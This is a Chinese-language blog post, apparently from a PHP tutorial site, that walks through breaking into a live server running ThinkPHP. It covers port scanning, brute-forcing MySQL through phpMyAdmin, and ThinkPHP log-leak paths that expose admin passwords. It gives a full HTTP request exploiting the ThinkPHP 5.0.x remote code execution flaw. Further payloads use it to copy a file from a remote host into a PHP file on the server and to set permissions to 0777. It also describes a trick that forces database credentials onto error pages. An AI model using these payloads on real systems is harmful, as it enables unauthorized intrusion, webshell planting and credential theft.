下面thinkphp框架教學欄位將分享一個ThinkPHP框架滲透實戰,希望對需要的朋友有幫助!
找到一個網站http://x.x.x.x/ 下面開始對他進行滲透
首先使用nmap對受害伺服器開放的連接埠掃描探測端口
可以看到開放的連接埠如下
連接埠就是應用程式在電腦通訊中的唯一識別id,透過連接埠我們就能知道受害伺服器開放了什麼服務
如3306是mysql並開啟了外聯,接下來我們對連接埠存取權看看具體開放了什麼服務
8080開放了phpmyadmin一款php連結mysql工具我們可以利用他爆破mysql密碼
8082是一個貸款首頁
##隨便輸入一個不存在的路由接著查看錯誤訊息如http://x.x.x.x/gfvhf #成功報錯:thinkphp框架的版本是5.1.7(這個版本有註入漏洞) 8084是一個後台繼續收集 8092是一個後台,因為部署不規範存在thinkphp日誌洩露,路徑http ://x.x.x.x:8092/runtime/log/202112/19.log 可以到裡面查看到管理員登入的帳號密碼。 這裡說一下黑產使用thinkphp框架因為運維半吊子很有可能有thinkphp日誌洩漏tp5-6 payload: 網域/runtime/log/202112/19.log (後面的202112/19.log是根據目前日期變化的)
tp3 payload: 網域名稱/Application/Runtime/Logs/Home/21_12_19.log (後面的21_12_19.log是根據目前日期變更的)
8083連接埠使用的thinkphp版本是5.0.15,5.0.15版本的利用條件低挑軟柿子捏就這個吧 訊息收集完畢精準打擊開啟burp,然後使用抓包,然後將資料包轉送到burp的Repeater模組下,將擷取內容替換成如下內容漏洞原理就不做詳細講解了,沒個php架構層是聽不懂的。簡單描述一下就是一個變數覆蓋造成程式碼執行thinkphp5漏洞poc可參考https://y4er.com/post/thinkphp5-rce/下面封包內容是觸發漏洞讓伺服器執行phpinfo()POST /index.php?s=captcha&echod=phpinfo() HTTP/1.1 Host: x.x.x.x Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.57 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: pmaCookieVer=5; pma_lang=zh_CN; pma_collation_connection=utf8_unicode_ci; phpMyAdmin=iar4j14536rat57j1d5018qjtt8vj69g Content-Type:application/x-www-form-urlencoded Content-Length: 77 _method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=echod
POST /index.php s=captcha&echod=copy('http://x.x.x.x/2.txt','t2.php') HTTP/1.1
POST /index.php?s=captcha&echod=chmod('./',0777) HTTP/1.1
總結一下我自己摸索出來的一些思路:thinkphp在開啟debug模式下如果伺服器開啟了資料庫外聯,可以透過爆破mysql服務發送大量請求(讓mysql堵塞),讓thinkphp連接mysql逾時就會報連線異常錯誤,並將mysql帳號密碼輸出到頁面上。
推薦學習:《thinkphp影片教學》
以上是記一個ThinkPHP框架的滲透實戰的詳細內容。更多資訊請關注PHP中文網其他相關文章!